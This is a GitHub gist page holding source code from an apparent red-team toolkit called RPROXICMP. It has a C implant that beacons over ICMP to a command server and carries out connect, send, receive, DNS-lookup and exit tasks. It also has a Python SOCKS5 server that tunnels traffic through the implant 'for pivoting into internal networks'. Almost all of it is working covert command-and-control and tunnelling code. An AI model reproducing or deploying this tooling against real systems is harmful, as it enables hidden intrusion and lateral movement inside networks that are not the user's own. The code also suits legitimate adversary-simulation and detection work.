Skip to content

Instantly share code, notes, and snippets.

@realoriginal
Created March 29, 2023 16:40
Show Gist options
  • Star 9 You must be signed in to star a gist
  • Fork 12 You must be signed in to fork a gist
  • Save realoriginal/118afddcf44070186c2af8141e1b2464 to your computer and use it in GitHub Desktop.
Save realoriginal/118afddcf44070186c2af8141e1b2464 to your computer and use it in GitHub Desktop.
TLDR: How a socks proxy client is written to tunnel connections from a 'teamserver' to an agent.
/*!
*
* RPROXICMP
*
* GuidePoint Security LLC
*
* Threat and Attack Simulation Team
*
!*/
#include "Common.h"
typedef struct __attribute__(( packed ))
{
UINT32 AgentId;
} RPROXICMP_TASK_RES_NONE, *PRPROXICMP_TASK_RES_NONE ;
typedef struct __attribute__(( packed ))
{
UINT32 Ioctl;
UINT32 TaskId;
UINT32 Length;
UINT8 Buffer[ 0 ];
} RPROXICMP_TASK_REQUEST, *PRPROXICMP_TASK_REQUEST ;
typedef struct __attribute__(( packed ))
{
UINT32 AgentId;
UINT32 TaskId;
BOOLEAN TskErr;
UINT32 WinErr;
UINT8 Buffer[ 0 ];
} RPROXICMP_TASK_RESPONSE, *PRPROXICMP_TASK_RESPONSE ;
/*!
*
* Purpose:
*
* Connects back to the RPROXICMP infrastructure. and starts
* the send/recv loop. Either executes the action to connect,
* send or recv over a specified socket.
*
!*/
D_SEC( B ) VOID WINAPI Entry( VOID )
{
UINT32 Max = 0;
UINT32 Min = 0;
UINT32 Ext = 0;
SIZE_T Len = 0;
BOOLEAN Res = FALSE;
PCONFIG Cfg = NULL;
PBUFFER Out = NULL;
PBUFFER Rcv = NULL;
PBUFFER Snd = NULL;
PRPROXICMP_CTX Ctx = NULL;
PRPROXICMP_TASK_REQUEST Rtq = NULL;
PRPROXICMP_TASK_RES_NONE Non = NULL;
PRPROXICMP_TASK_RESPONSE Rtr = NULL;
#if defined( _WIN64 )
Cfg = C_PTR( U_PTR( GetIp() ) + 11 );
#else
Cfg = C_PTR( U_PTR( GetIp() ) + 10 );
#endif
/* Set the exit mode! */
Ext = Cfg->ExitMode;
/* Allocate a rproxicmp context structure */
Ctx = MemoryAlloc( sizeof( RPROXICMP_CTX ) );
if ( Ctx != NULL ) {
/* Set the established to FALSE */
Ctx->Established = FALSE;
/* Set the exit mode */
Ctx->Config.ExitMode = Cfg->ExitMode;
/* Set the agent ID */
Ctx->AgentId = RandomInt32();
/* Is the agent ID greater than 0? */
if ( Ctx->AgentId > 0 ) {
/* Create the sending buffer */
if ( ( Snd = BufferCreate() ) != NULL ) {
/* Create the recv buffer */
if ( BufferExtend( Snd, sizeof( RPROXICMP_TASK_RESPONSE ) ) ) {
/* Initialize sthe dependencies */
if ( DepInit( Ctx ) ) {
if ( Init( Ctx, Snd ) ) {
/* Modify the response header */
Rtr = C_PTR( Snd->Buffer );
Rtr->AgentId = Ctx->AgentId;
/* Create the response buffer */
if ( ( Rcv = BufferCreate() ) != NULL ) {
if ( IcmpSendRecv( Snd, Rcv ) ) {
/* Do some further validation here! */
Ctx->Established = TRUE;
};
/* Free the response buffer! */
BufferClear( Rcv );
};
};
};
};
/* Clear the output buffer! */
BufferClear( Snd );
};
};
/* Did we establish a session? */
while ( Ctx->Established != FALSE ) {
/* Create the output buffer */
if ( ( Snd = BufferCreate() ) != NULL ) {
/* Extend to support the size of the buffer! */
if ( BufferExtend( Snd, sizeof( RPROXICMP_TASK_RES_NONE ) ) ) {
/* Set the agent ID! */
Non = C_PTR( Snd->Buffer );
Non->AgentId = Ctx->AgentId;
/* Send to the listener! */
if ( ( Rcv = BufferCreate() ) != NULL ) {
/* Send the agent ID & get the response */
if ( ( Ctx->Established = IcmpSendRecv( Snd, Rcv ) ) ) {
Rtq = C_PTR( Rcv->Buffer );
Len = Rcv->Length;
while ( Len != 0 ) {
if ( ( Out = BufferCreate() ) != NULL ) {
/* Extend to support the response! */
if ( BufferExtend( Out, sizeof( RPROXICMP_TASK_RESPONSE ) ) ) {
/* What IOCTL was requested? */
switch( Rtq->Ioctl ) {
case IOCTL_EXIT:
/* Exits the 'rproxicmp' agent from memory */
Res = CtlExit( Ctx, Rtq->Length != 0 ? Rtq->Buffer : NULL, Rtq->Length, Out );
break;
case IOCTL_CONNECT:
/* Connects to the target host:port */
Res = CtlSockConnect( Ctx, Rtq->Length != 0 ? Rtq->Buffer : NULL, Rtq->Length, Out );
break;
case IOCTL_RECV:
/* Reads data over a socket */
Res = CtlSockRecv( Ctx, Rtq->Length != 0 ? Rtq->Buffer : NULL, Rtq->Length, Out );
break;
case IOCTL_SEND:
/* Writes data over a socket */
Res = CtlSockSend( Ctx, Rtq->Length != 0 ? Rtq->Buffer : NULL, Rtq->Length, Out );
break;
case IOCTL_CLOSE:
/* Closes the socket descriptor */
Res = CtlSockClose( Ctx, Rtq->Length != 0 ? Rtq->Buffer : NULL, Rtq->Length, Out );
break;
case IOCTL_DNS_LOOKUP:
/* Lookups a DNS address for an IPV4 address */
/* Note: Add seperate command for IPv6 */
Res = CtlDnsLookup( Ctx, Rtq->Length != 0 ? Rtq->Buffer : NULL, Rtq->Length, Out );
break;
default:
/* Invalid IOCTL requested */
NtCurrentTeb()->LastErrorValue = STATUS_INVALID_PARAMETER;
Res = FALSE;
break;
};
/* Set the packet header information */
Rtr = C_PTR( Out->Buffer );
Rtr->AgentId = Ctx->AgentId;
Rtr->TaskId = Rtq->TaskId;
Rtr->TskErr = Res;
Rtr->WinErr = NtCurrentTeb()->LastErrorValue;
/* Send the buffer back! */
IcmpSendRecv( Out, NULL );
};
/* Clear the buffer ! */
BufferClear( Out );
};
/* Subtract the request argumemt buffer and header size! */
Len = Len - sizeof( RPROXICMP_TASK_REQUEST ) - Rtq->Length;
Rtq = C_PTR( U_PTR( Rtq->Buffer ) + Rtq->Length );
};
};
/* Free the buffer */
BufferClear( Rcv );
};
};
/* Free the buffer */
BufferClear( Snd );
};
};
/* Frees the dependencies */
DepFree( Ctx );
/* Set the exit mode! */
Ext = Ctx->Config.ExitMode;
/* Free the context structure */
MemoryFree( Ctx );
};
/* Exits depending on the specified exit mode */
Exit( Ext );
};
#
# rproxicmp
#
# GuidePoint Security LLC
#
# Threat and Attack Simulation Team
#
import click
import asyncio
import ipaddress
import click_params
import lib.rproxicmp_rpc
import lib.rproxicmp_arg
import lib.rproxicmp_static
import lib.rproxicmp_tunnel
from asysocks.protocol.socks5 import SOCKS5Nego
from asysocks.protocol.socks5 import SOCKS5Reply
from asysocks.protocol.socks5 import SOCKS5Method
from asysocks.protocol.socks5 import SOCKS5Request
from asysocks.protocol.socks5 import SOCKS5Command
from asysocks.protocol.socks5 import SOCKS5ReplyType
from asysocks.protocol.socks5 import SOCKS5NegoReply
from asysocks.protocol.socks5 import SOCKS5AddressType
class SockServer:
def __init__( self, bind_addr, bind_port, timeout, rpc_host, rpc_port, agent_id ):
"""
Initialies the internal variables the socks server uses to tunnel
the connection over connected agent.
"""
self.bind_addr = str( bind_addr )
self.bind_port = bind_port
self.timeout = timeout
self.rpc_host = str( rpc_host )
self.rpc_port = rpc_port
self.agent_id = agent_id
async def rd_agn_wr_cli( self, rpc_obj, agent_id, remote_sock, event, writer ):
"""
Reads from the remote file descriptor, and writes the
incoming data over the writer.
"""
try:
# have we been signalled to stop?
while not event.is_set():
# Read what we can from the tunnel.
buf = await lib.rproxicmp_tunnel.tunnel_recv_async( rpc_obj, agent_id, remote_sock );
# we have data
if buf != b'':
# write the result to the client socket
writer.write( buf )
# drain the socket
await writer.drain()
except Exception as e:
print( e )
finally:
# set the event to stop
event.set()
# return
return
async def rd_cli_wr_agn( self, rpc_obj, agent_id, remote_sock, event, reader ):
"""
Reads from the client and writes the result over the
remote file descriptor.
"""
try:
# we have not been signalled to stop
while not event.is_set():
# read what we can from the buffer
buf = await reader.read( lib.rproxicmp_static.PROXY_MAX_LENGTH )
# we have no data
if buf == b'' or buf is None:
return
# data recieved
await lib.rproxicmp_tunnel.tunnel_send_async( rpc_obj, agent_id, remote_sock, buf )
except Exception as e:
print( e )
finally:
# set the event to stop
event.set()
# return
return
async def handle_socks( self, reader, writer ):
"""
Determines if the incoming request is a SOCKS5 request. If it is
it will try to proxy the request.
"""
try:
tmp = await asyncio.wait_for( reader.readexactly( 1 ), timeout = self.timeout )
except asyncio.exceptions.IncompleteReadError:
print( 'client terminated the socket before the socks negotiation completed.' )
# is this socks5?
if tmp == b'\x05':
try:
nmt = await asyncio.wait_for( reader.readexactly( 1 ), timeout = self.timeout )
tmt = int.from_bytes( nmt, byteorder = 'big', signed = False )
met = await asyncio.wait_for( reader.readexactly( tmt ), timeout = self.timeout )
cmd = SOCKS5Nego.from_bytes( tmp + nmt + met )
# did we not recieve a no-auth command?
if SOCKS5Method.NOAUTH not in cmd.METHODS:
rep = SOCKS5NegoReply.construct( SOCKS5Method.NOTACCEPTABLE );
writer.write( rep.to_bytes() )
await writer.drain()
return
# send auth success
rep = SOCKS5NegoReply.construct( SOCKS5Method.NOAUTH )
writer.write( rep.to_bytes() )
await writer.drain()
# read the incoming command
req = await asyncio.wait_for( SOCKS5Request.from_streamreader( reader ), timeout = self.timeout )
# did we recieve a connect request?
if req.CMD == SOCKS5Command.CONNECT and req.ATYP != SOCKS5AddressType.IP_V6:
# connect to the target host:port
rpc = lib.rproxicmp_rpc.RpcClient( self.rpc_host, self.rpc_port )
if req.ATYP == SOCKS5AddressType.DOMAINNAME:
# lookup the internal domain name
ip4 = await lib.rproxicmp_tunnel.tunnel_dns_lookup_async( rpc, self.agent_id, req.DST_ADDR )
else:
# use the passed address
ip4 = req.DST_ADDR
try:
# open a remote socket to the host
rfd = await lib.rproxicmp_tunnel.tunnel_connect_async( rpc, self.agent_id, ip4, req.DST_PORT )
except Exception:
# notify we could not connect
rep = SOCKS5Reply.construct( SOCKS5ReplyType.FAILURE, req.DST_ADDR, req.DST_PORT )
writer.write( rep.to_bytes() )
await writer.drain()
return
else:
# notify we connected successfully!
rep = SOCKS5Reply.construct( SOCKS5ReplyType.SUCCEEDED, req.DST_ADDR, req.DST_PORT )
writer.write( rep.to_bytes() )
await writer.drain()
# create the stop event
evt = asyncio.Event()
# create the read/write loops between client and server
ts1 = asyncio.create_task( self.rd_cli_wr_agn( rpc, self.agent_id, rfd, evt, reader ) )
ts2 = asyncio.create_task( self.rd_agn_wr_cli( rpc, self.agent_id, rfd, evt, writer ) )
# wait for the event to be signalled
await evt.wait()
# cancel
ts1.cancel()
ts2.cancel()
# close the remote socket
await lib.rproxicmp_tunnel.tunnel_close_async( rpc, self.agent_id, rfd );
# close the client socket
writer.close()
# return
return
except Exception as e:
print( e )
else:
print( 'client requested an unsupported protocol.' )
async def run( self ):
"""
Starts the SOCKS server to handle the incoming connections.
"""
srv = await asyncio.start_server( self.handle_socks, self.bind_addr, self.bind_port )
await srv.wait_closed()
@click.command( name = 'rproxicmp-socks', short_help = 'Creates a SOCKS5 proxy server to tunnel over an agent.' )
@lib.rproxicmp_arg.rproxicmp_arg
@click.option( '--agent-id', required = True, type = int, help = 'Agent identifier' )
@click.option( '--socks-host', type = click_params.IPV4_ADDRESS, help = 'Address to bind the SOCKS5 server to.', show_default = True, default = '127.0.0.1' )
@click.option( '--socks-port', type = int, help = 'Port to bind the SOCKS5 server to.', required = True )
@click.option( '--socks-timeout', type = int, help = 'Number of seconds to allow for a client to timeout.', required = True )
def rproxicmp_socks( rpc_host, rpc_port, agent_id, socks_host, socks_port, socks_timeout ):
"""
Creates a SOCKS5 server that will tunnel any connected client over a
ICMP agent connected to the RPROXICMP server. The agent will forward
the connection from its address to the requested host:port it can
connect to.
Useful for pivoting into internal networks, or combining other tools
that may not be available through rogue.
"""
Srv = SockServer( socks_host, socks_port, socks_timeout, rpc_host, rpc_port, agent_id )
asyncio.run( Srv.run() )
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment